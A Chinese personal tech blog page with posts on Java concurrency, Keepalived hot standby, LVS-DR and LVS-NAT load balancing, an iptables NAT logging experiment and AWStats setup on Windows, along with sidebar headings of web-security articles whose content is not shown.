是否存在競態條件，常見的是那些先檢查后執行的操作行為，它的正確結果取決于運氣。避免錯誤結果的方法是保證操作的原子性，通常使用加鎖，也有一些原子變量類可以達到目的。
對象狀態在內存中是否可見，即當一個線程修改了對象的狀態后，其他線程不一定看到修改后的狀態。保證其他線程總是能看到最新狀態的方法有2種：一種是加鎖，另一種是使用volatile變量。

于是得出幾個結論：

加鎖機制可保證可見性和原子性，所以能保證線程安全；
原子變量可保證原子性，但不能保證可見性，所以不能保證線程安全；
volatile變量能保證可見性，但不能保證原子性，所以不能保證線程安全；
volatile的原子變量能保證線程安全。

除此之外，還有一些對象一定是線程安全的：

無狀態對象；
不可變對象。

但是加鎖機制會產生活躍性問題，活躍性問題關注正確的行為是否一定會發生，主要有死鎖問題。
死鎖簡單來講是這樣的：線程A持有鎖L并想獲得鎖M，同時線程B持有鎖M并想獲得鎖L，這時線程A和B都永久阻塞。

避免死鎖的關鍵是要保證每個線程獲取鎖的順序必須相同，如上面線程A和B獲取鎖的順序如果都是先獲取鎖L再獲取鎖M，就不會發生死鎖問題。

當持有鎖時調用外部方法，會很難分析獲取鎖的順序，要盡量避免。

編碼參考：

將所有可變狀態都封裝在對象內部，并通過對象的內置鎖對所有訪問可變狀態的代碼進行同步；
擴展線程安全的容器類時，在新類中委托容器類的其他方法，使用新鎖，不要關心原來的容器類是否線程安全。

參考資料：

《JAVA并發編程實戰》

posted @ 2014-10-10 13:41 老林閱讀(1301) | 評論 (0) | 編輯收藏

Linux Keepalived 實現雙機熱備

試用Keepalived來做雙機熱備，服務器信息如下：

服務器	操作系統	IP	虛擬IP
Server 1	Centos	192.168.18.20	192.168.18.22
Server 2	Centos	192.168.18.21	192.168.18.22

1. 安裝Keepalived

2臺Server都使用下面的命令安裝Keepalived：

yum install keepalived -y

2. Server1 Keepalived 配置

$ vi /etc/keepalived/keepalived.conf

vrrp_instance VI_1 {
    state MASTER
    interface eth0
    virtual_router_id 51
    priority 100 # 優先級
    advert_int 1                 # 心跳間隔(秒)
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.18.22         # 虛擬IP
    }
}

3. Server2 Keepalived 配置

$ vi /etc/keepalived/keepalived.conf

vrrp_instance VI_1 {
    state BACKUP              # 備份機
    interface eth0
    virtual_router_id 51
    priority 99                   # 優先級，比主服務器底
    advert_int 1                 # 心跳間隔(秒)
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.18.22         # 虛擬IP
    }
}

4. 啟動Keepalived

$ service keepalived start

啟動keepalived后，可看到2臺Server都綁定了虛擬IP：

$ ip a

# Server 1:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:24:8c:8c:67:43 brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.20/24 brd 192.168.18.255 scope global eth0
    inet 192.168.18.22/32 scope global eth0
    inet6 fe80::224:8cff:fe8c:6743/64 scope link
       valid_lft forever preferred_lft forever

# Server 2:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:23:54:bf:ab:17 brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.21/24 brd 192.168.18.255 scope global eth0
    inet 192.168.18.22/32 scope global eth0
    inet6 fe80::223:54ff:febf:ab17/64 scope link
       valid_lft forever preferred_lft forever

5. 測試

瀏覽器訪問http://192.168.18.22，出現 This is Server 1.
將192.168.18.20關閉，再訪問http://192.168.18.22，出現This is Server 2.

微信訂閱號：

源文地址：http://blog.gopersist.com/2014/09/24/keepalived/

posted @ 2014-09-24 11:34 老林閱讀(2052) | 評論 (2) | 編輯收藏

LVS-DR

試用IPVS的直接路由方式來做負載均衡。服務器信息如下：

IP配置信息如下：

服務器	操作系統	IP	IP別名	網關
調度服務器	Centos	192.168.2.90	192.168.2.99	192.168.2.1
實際服務器	Centos	192.168.2.71	192.168.2.99	192.168.2.1
實際服務器	Centos	192.168.2.72	192.168.2.99	192.168.2.1

直接路由方式工作在數據鏈路層，通過修改數據包的MAC地址，將數據包轉發到實際服務器上。實際服務器響應時直接發送給用戶端，而不經過調度器。

因為調度服務器并沒有修改數據包的IP地址，所以我們需要為實際服務器設置與調度服務器相同的IP別名，以使實際服務器接受數據包。

為調度服務器設置IP別名：

ifconfig eth1:0 192.168.2.99

IP別名與原來的IP地址在使用上并沒有什么不同，這里可以ping通90和99兩個IP。

為實際服務器設置IP別名：

ifconfig lo:0 192.168.2.99 broadcast 192.168.2.99 netmask 255.255.255.255 up

為實際服務器添加路由規則，使它不去尋找其他擁有這個IP的服務器：

route add -host 192.168.2.99 dev lo:0

防止實際服務器響應針對IP別名的ARP廣播：

echo 1>/proc/sys/net/ipv4/conf/lo/arp_ignore

echo 2>/proc/sys/net/ipv4/conf/lo/arp_announce

echo 1>/proc/sys/net/ipv4/conf/all/arp_ignore

echo 2>/proc/sys/net/ipv4/conf/all/arp_announce

使用ipvsadm配置調度服務器：

ipvsadm -A -t 192.168.2.99:8888 -s rr

ipvsadm -a -t 192.168.2.99:8888 -r 192.168.2.71:8888 -g

ipvsadm -a -t 192.168.2.99:8888 -r 192.168.2.72:8888 -g

使用下面的命令將連接有效時間改為1秒來測試，：

ipvsadm --set 1 120 300

瀏覽器訪問http://192.168.2.99:8888，每隔1秒多點擊刷新，就會交替出現192.168.2.71和192.168.2.72。

posted @ 2014-04-28 11:15 老林閱讀(889) | 評論 (0) | 編輯收藏

LVS-NAT

試用IPVS來做負載均衡，使用了1臺雙網卡服務器和2臺單網卡服務器，2個網段。服務器信息如下：

IP配置信息如下：

服務器	操作系統	網卡	IP
調度服務器	Centos	eth0	192.168.18.58
調度服務器	Centos	eth1	192.168.2.90
實際服務器	Centos	eth0	192.168.2.71
實際服務器	Centos	eth0	192.168.2.72

1. 首先配置調度服務器：

a) IPVS模塊已經內置到linux2.6.x內核中，可以通過下面的命令查看是否已安裝：

modprobe -l | grep ipvs

看到類似下面的輸出，表示已經安裝了

kernel/net/netfilter/ipvs/ip_vs.ko

kernel/net/netfilter/ipvs/ip_vs_rr.ko

kernel/net/netfilter/ipvs/ip_vs_wrr.ko

kernel/net/netfilter/ipvs/ip_vs_lc.ko

kernel/net/netfilter/ipvs/ip_vs_wlc.ko

kernel/net/netfilter/ipvs/ip_vs_lblc.ko

kernel/net/netfilter/ipvs/ip_vs_lblcr.ko

kernel/net/netfilter/ipvs/ip_vs_dh.ko

kernel/net/netfilter/ipvs/ip_vs_sh.ko

kernel/net/netfilter/ipvs/ip_vs_sed.ko

kernel/net/netfilter/ipvs/ip_vs_nq.ko

kernel/net/netfilter/ipvs/ip_vs_ftp.ko

kernel/net/netfilter/ipvs/ip_vs_pe_sip.ko

b) 安裝IPVS的管理工具ipvsadm：

yum install -y ipvsadm

c) 清除表中所有記錄：

ipvsadm -C

使用下面的命令增加虛擬服務器，采用輪詢調度策略：

ipvsadm -A -t 192.168.18.58:8888 -s rr

使用下面的命令添加實際服務器，并采用NAT方式轉發數據包：

ipvsadm -a -t 192.168.18.58:8888 -r 192.168.2.71:9999 -m

ipvsadm -a -t 192.168.18.58:8888 -r 192.168.2.72:9999 -m

d) 打開數據包轉發：

echo 1 > /proc/sys/net/ipv4/ip_forward

2. 接下來配置2臺實際服務器，分別做以下工作：

a) 在9999端口上啟動一個web服務：

配置好web服務后，當訪問http://192.168.2.71:9999時，頁面返回：This is 192.168.2.71.；當訪問http://192.168.2.72:9999時，頁面返回：This is 192.168.2.72.

b) 設置默認網關指向調度服務器

route del default

route add default gw 192.168.2.90

3. 測試

訪問192.168.18.58:8888，會顯示This is 192.168.2.71或This is 192.168.2.72，多次刷新應該要交替出現71和72，但實際上并沒有這樣，瀏覽器只顯示與第一次相同的內容，也就是ipvsadm每次都選擇了同一臺服務器。這是因為當一個TCP連接的初始SYN報文到達時，IPVS就選擇了一臺服務器，后繼報文會被轉發到相同的服務器。這個TCP連接在ipvsadm中默認有效時間為15分鐘，可以通過下面的命令查看：

ipvsadm -L --timeout

Timeout (tcp tcpfin udp): 900 120 300

現在將有效時間改為1秒來測試，使用下面的命令：

ipvsadm --set 1 120 300

再到瀏覽器中每隔1秒多點擊刷新，就會交替出現71和72，說明輪詢調度正在正常工作。

posted @ 2014-04-25 14:32 老林閱讀(1375) | 評論 (0) | 編輯收藏

iptables NAT 學習

為了搞清楚iptables NAT的過程，做了這個實驗。使用了1臺雙網卡服務器和1臺單網卡服務器，2個網段。服務器信息如下：

IP配置信息如下：

服務器	操作系統	網卡	IP
調度服務器	Centos	eth0	192.168.18.58
調度服務器	Centos	eth1	192.168.2.90
實際服務器	Centos	eth0	192.168.2.73

1. 為了看到調度服務器上的數據轉發過程，首先在調度服務器上分出內核的debug日志：

l 在/etc/rsyslog.conf最后增加：kern.debug /var/log/iptables.log

l 重啟日志服務：/etc/init.d/rsyslog restart

2. 啟動調度服務器的iptables并清空規則

service iptables start

iptables -F

3. 增加調度服務器的iptables特定日志輸出

假設要將對調度服務器8888端口的訪問轉發給實際服務器的9999端口處理，在iptables中增加與這2個端口相關的日志輸出：

iptables -t mangle -A PREROUTING -p tcp --dport 8888 -j LOG --log-level debug --log-prefix "<<<<< PER IN:"

iptables -t mangle -A PREROUTING -p tcp --sport 9999 -j LOG --log-level debug --log-prefix "<<<<< PER IN:"

iptables -t mangle -A POSTROUTING -p tcp --sport 8888 -j LOG --log-level debug --log-prefix ">>>>> POST OUT:"

iptables -t mangle -A POSTROUTING -p tcp --dport 9999 -j LOG --log-level debug --log-prefix ">>>>> POST OUT:"

iptables -t mangle -A POSTROUTING -p tcp --sport 9999 -j LOG --log-level debug --log-prefix ">>>>> POST OUT:"

這時，通過瀏覽器訪問http://192.168.18.58:8888可以看到iptables.log中打印出下面的日志：

Apr 24 16:24:35 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=28721 DF PROTO=TCP SPT=50270 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:24:35 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth0 SRC=192.168.18.58 DST=192.168.18.25 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=8888 DPT=50270 WINDOW=0 RES=0x00 ACK RST URGP=0

雖然這個端口上即沒有應用，也沒有將請求轉發出去，但日志打印出了內核獲取到的對這個端口的請求。

4. 配置iptables將對8888的請求轉發到192.168.2.73:9999

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8888 -j DNAT --to-destination 192.168.2.73:9999

訪問http://192.168.18.58:8888，日志中打印如下信息：

Apr 24 16:39:21 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=56888 DF PROTO=TCP SPT=50274 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

日志中只打印了從eth0收到的對8888端口的請求，這是因為當數據要被轉發到192.168.2.73:9999時，默認情況下被禁止了。

5. 打開數據包轉發功能

echo 1 > /proc/sys/net/ipv4/ip_forward

訪問http://192.168.18.58:8888，日志中打印如下信息：

Apr 24 16:39:21 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=56888 DF PROTO=TCP SPT=50274 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:39:21 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth1 SRC=192.168.18.25 DST=192.168.2.73 LEN=60 TOS=0x00 PREC=0x00 TTL=62 ID=56888 DF PROTO=TCP SPT=50274 DPT=9999 WINDOW=14600 RES=0x00 SYN URGP=0

第一條日志顯示從eth0收到了對8888端口的請求，第二條日志顯示iptables已經更改了數據包的目的地為192.168.2.73:9999，并通過eth1發出去。

但這時請求雖然已經被轉發到實際處理的服務器，但調度服務器收不到響應，瀏覽器仍在不停重試，日志也在不斷打印。這是因為實際服務器收到的數據包的來源IP是另一個網段的，實際服務器回復時，發現不是本網段的就把數據包發給網關，網關設置的是192.168.2.1，這時數據就丟了。

6. 將實際服務器的默認網關設置為192.168.2.90

在實際服務器上執行以下命令：

route del default

route add default gw 192.168.2.90

再次訪問http://192.168.18.58:8888，日志打印如下信息：

Apr 24 16:47:27 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=37000 DF PROTO=TCP SPT=50279 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:47:27 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth1 SRC=192.168.18.25 DST=192.168.2.73 LEN=60 TOS=0x00 PREC=0x00 TTL=62 ID=37000 DF PROTO=TCP SPT=50279 DPT=9999 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:47:27 route-server1 kernel: <<<<< PER IN:IN=eth1 OUT= MAC=00:22:b0:de:f7:49:00:24:8c:b4:a1:8c:08:00 SRC=192.168.2.73 DST=192.168.18.25 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=9999 DPT=50279 WINDOW=0 RES=0x00 ACK RST URGP=0

Apr 24 16:47:27 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth0 SRC=192.168.2.73 DST=192.168.18.25 LEN=40 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=TCP SPT=9999 DPT=50279 WINDOW=0 RES=0x00 ACK RST URGP=0

上面第一條第二條日志和之前一樣，iptables將目地址更改后，通過eth1網卡發送出去。第三條日志通過eth1網卡接收到了實際服務器發送過來的數據，并在第四條日志中通過eth0發回請求方。

posted @ 2014-04-24 17:15 老林閱讀(3983) | 評論 (0) | 編輯收藏

windows下awstat分析apache日志

一、準備
1. 安裝apache，http://httpd.apache.org/
2. 安裝perl, http://www.perl.org/
3. 安裝awstat, http://awstats.sourceforge.net/
awstat安裝會自動進行一些配置，可能不需要下面的設置。

二、apache配置
在apache安裝目錄conf\httpd.conf中增加以下配置：
Alias /awstatsclasses "C:/Program Files/AWStats/wwwroot/classes/"
Alias /awstatscss "C:/Program Files/AWStats/wwwroot/wwwroot/css/"
Alias /awstatsicons "C:/Program Files/AWStats/wwwroot/icon/"
ScriptAlias /awstats/ "C:/Program Files/AWStats/wwwroot/cgi-bin/"

<Directory "C:/Program Files/AWStats/wwwroot/cgi-bin/">
   AllowOverride None
   Options ExecCGI
   Order allow,deny
   Allow from all
</Directory>

將common注釋掉，放開combined的注釋
#CustomLog "logs/access.log" common
CustomLog "logs/access.log" combined

三、awstat配置
1. 修改{awstats_home}/wwwroot/cgi-bin/下的awredir.pl、awstats.pl文件的第一行從#!/usr/bin/perl改成#!C:\strawberry\perl\bin\perl.exe。
3. 修改{awstats_home}/wwwroot/cgi-bin/下的awstats.demo.conf
LogFile="C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log"
LogType=W
LogFormat=1
SiteDomain="demo"

四、更新報表
命令行進行{awstats_home}\wwwroot\cgi-bin
perl awstats.pl -config=demo –update

五、訪問統計報表
http://localhost/awstats/awstats.pl?config=demo

注意：httpd.conf更改后要重啟apache服務

posted @ 2010-11-11 23:36 老林閱讀(628) | 評論 (0) | 編輯收藏

不急不徐，持之以恒。

常用鏈接

留言簿(2)

隨筆分類

隨筆檔案

搜索

最新評論

閱讀排行榜

評論排行榜

Memcached簡介

Memcached使用

Memcached集群

一致性哈希算法

一、跨站腳本攻擊（XSS）

Cookie劫持

XSS的防御

二、SQL注入

SQL注入的防御

三、跨站請求偽造（CSRF）

CSRF的防御

四、點擊劫持（ClickJacking）

點擊劫持的防御

一、瀏覽器介紹

二、同源策略

三、跨域訪問

1. iframe的跨域訪問

有兩種解決方法：

2. Ajax的跨域訪問

這時可由以下兩種方法解決：

3. 使用HTML5的postMessage方法實現跨域訪問

一、安全的要素

加密技術的使用

二、風險分析

如何評估風險？

加密算法

密鑰規范

密鑰格式：

密鑰存儲：

加密模式

Linux操作系統的I/O模型

Node.js中的異步I/O

Node.js中的異步I/O調用

1. 安裝Keepalived

2. Server1 Keepalived 配置

3. Server2 Keepalived 配置

4. 啟動Keepalived

5. 測試

不急不徐，持之以恒。

四、點擊劫持（ClickJacking）

一、瀏覽器介紹

二、同源策略

三、跨域訪問

二、風險分析

如何評估風險？